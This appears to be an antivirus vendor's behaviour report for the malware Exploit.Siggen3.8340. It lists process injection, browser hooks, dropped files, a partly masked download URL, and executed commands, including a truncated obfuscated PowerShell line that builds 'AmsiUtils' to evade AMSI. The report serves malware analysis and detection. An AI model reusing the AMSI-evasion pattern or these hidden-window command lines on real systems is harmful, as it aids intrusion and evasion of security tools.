Exploit.Siggen3.8340

Technical Information

Malicious functions

Creates and executes the following (exploit)

'%WINDIR%\syswow64\cscript.exe' %TEMP%\Client.vbs AC

Executes the following (exploit)

'%WINDIR%\syswow64\cmd.exe' /C cscript %tmp%\Client.vbs AC
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53...

Injects code into

the following system processes:

%WINDIR%\explorer.exe

the following user processes:

iexplore.exe

Hooks functions

in browsers

firefox.exe process, nss3.dll module

Modifies file system

Creates the following files

%TEMP%\client.vbs
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\08105f2cc9bafba0c6113de2d4d42f66_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\706b5eab65c31c4ddf05e965a33108c7_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\67ba2bbc26739eb038fc9fa1190df19c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\9653ca06e84f95afdbdff83c32f908fe_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ead3685065b0ee32a0557b91494c0171_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4eb8ad8b71103e607ce467f0a531946b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\3f7608dcc5a10f73f1d8e5718dfa1762_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\5632ff5ea94281b2479247ee9c9eee74_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\82a191c596b58337fc252cf682e58750_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\341958baca70bfd579391a46756019b7_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8cec95072ccecd9883eb5f1e6aa9db3a_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\056d515f4a139af128ce6d1f05205df3_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4c9fe69dedd77ec567a50c93062a1f4e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f97fe26a027322eb62bfe465faf0599f_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2dc3af86c3548e50f6b34c49b75afafe_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\03342cbbbf20ca515d213170f8a41ac4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\00fee3ea9800c38975b48521ca4e4d29_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\850406c589652df2615d71e7030e7aee_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\3e0fabe912ab880b1eeabca127a80528_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0383ff0ba95c20f725dfa4a5d253f20d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\c17f2a6fd7a100e0db099ba7e1e4a4ec_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fcc665251ab350d37538fd12a816ba18_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4db7d4e99a4b262449cdf55efc02b3e5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\97a3b9edb890c77efbe2595802c5c014_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\51164ca9b58a83cafed2b365b32194a2_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\6c91acacc1a73f0883b1fd824d4c305b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8ad421e77a2163c756ab639d0db5f3a8_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a26b071c54b6ea97354f515544e041c4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e95bf3fd707b6c8fda4383f6d4f81765_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a8bbfa22efa47d53435d9bed2959ebe5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ebf10bac7f038ce09e3e7ff8854ff070_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f606e6c9651e2d7c680734a3138953f1_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0b57da6718476d272c724b5c450cf465_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\55214bc7fdff93f4bf5e2384b69d484c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f076bdf839d61f32b8f17d2529e6efa6_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\89c39e7a09dcc665f51c90202975bfa9_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\6584932b8dc4091c49d2cd0c14b29c83_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4467a636f39f7e8ef8aad6e1fac39206_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7253c05915a38ea7a7ae47d6f6709eb0_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fe116a533a0931c6e5d79312e0074936_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\46c223887b592b857f68ac11469743c4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\cff0de06da7974a1c177ec90a1c9d0a3_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b4d5a86c17ea31ecf12a2e2c950c9182_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\07457808fce5fcc78fed58f5023331bd_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8522f8e6697edeb72999800ef9e98735_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\592dd327bd6678628e3fcc58fb728b42_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0894183ec2aaecd208d5e063f56b7957_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a9d82cf6e052fc8fa5923210e01fd6ca_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\090d513278974e5c7c327160572ed566_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d18ada3ea150a973ec4f65e7ca7e99cb_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ee296685a2b90449c0de591b2121702e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\292507d549d600f9f2a29b374121691d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\5812529a4b0fd1e33050f78272aa1161_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\df6ff9629af8b21c287f79df4fc7a6c5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d12fefd6e2875d7899fabe8bc810f4a0_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\86cad3a3fe30f5d55fd9138f39959449_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee

Deletes the following files

%TEMP%\client.vbs
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\08105f2cc9bafba0c6113de2d4d42f66_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\706b5eab65c31c4ddf05e965a33108c7_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\67ba2bbc26739eb038fc9fa1190df19c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\9653ca06e84f95afdbdff83c32f908fe_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ead3685065b0ee32a0557b91494c0171_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4eb8ad8b71103e607ce467f0a531946b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\3f7608dcc5a10f73f1d8e5718dfa1762_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\5632ff5ea94281b2479247ee9c9eee74_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\82a191c596b58337fc252cf682e58750_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\341958baca70bfd579391a46756019b7_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8cec95072ccecd9883eb5f1e6aa9db3a_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\056d515f4a139af128ce6d1f05205df3_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4c9fe69dedd77ec567a50c93062a1f4e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f97fe26a027322eb62bfe465faf0599f_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2dc3af86c3548e50f6b34c49b75afafe_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\03342cbbbf20ca515d213170f8a41ac4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\00fee3ea9800c38975b48521ca4e4d29_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\850406c589652df2615d71e7030e7aee_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\3e0fabe912ab880b1eeabca127a80528_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0383ff0ba95c20f725dfa4a5d253f20d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\c17f2a6fd7a100e0db099ba7e1e4a4ec_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fcc665251ab350d37538fd12a816ba18_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4db7d4e99a4b262449cdf55efc02b3e5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\97a3b9edb890c77efbe2595802c5c014_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\51164ca9b58a83cafed2b365b32194a2_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\6c91acacc1a73f0883b1fd824d4c305b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8ad421e77a2163c756ab639d0db5f3a8_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a26b071c54b6ea97354f515544e041c4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e95bf3fd707b6c8fda4383f6d4f81765_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a8bbfa22efa47d53435d9bed2959ebe5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ebf10bac7f038ce09e3e7ff8854ff070_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f606e6c9651e2d7c680734a3138953f1_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0b57da6718476d272c724b5c450cf465_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\55214bc7fdff93f4bf5e2384b69d484c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f076bdf839d61f32b8f17d2529e6efa6_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\89c39e7a09dcc665f51c90202975bfa9_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\6584932b8dc4091c49d2cd0c14b29c83_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4467a636f39f7e8ef8aad6e1fac39206_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7253c05915a38ea7a7ae47d6f6709eb0_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fe116a533a0931c6e5d79312e0074936_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\46c223887b592b857f68ac11469743c4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\cff0de06da7974a1c177ec90a1c9d0a3_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b4d5a86c17ea31ecf12a2e2c950c9182_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\07457808fce5fcc78fed58f5023331bd_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8522f8e6697edeb72999800ef9e98735_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\592dd327bd6678628e3fcc58fb728b42_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0894183ec2aaecd208d5e063f56b7957_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a9d82cf6e052fc8fa5923210e01fd6ca_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\090d513278974e5c7c327160572ed566_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d18ada3ea150a973ec4f65e7ca7e99cb_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ee296685a2b90449c0de591b2121702e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\292507d549d600f9f2a29b374121691d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\5812529a4b0fd1e33050f78272aa1161_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\df6ff9629af8b21c287f79df4fc7a6c5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d12fefd6e2875d7899fabe8bc810f4a0_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\86cad3a3fe30f5d55fd9138f39959449_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee

Network activity

TCP

HTTP GET requests

http://20#.#50.243.243/sec/8.jpg

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\cmd.exe' /C cscript %tmp%\Client.vbs AC' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53...' (with hidden window)

Executes the following

'%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
'%WINDIR%\syswow64\calc.exe'
'%WINDIR%\syswow64\msdt.exe'
'%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\syswow64\calc.exe"

Технологии

Термины

Обучение и просвещение

Мифы

Technical Information

Рекомендации по лечению

Демо бесплатно на 14 дней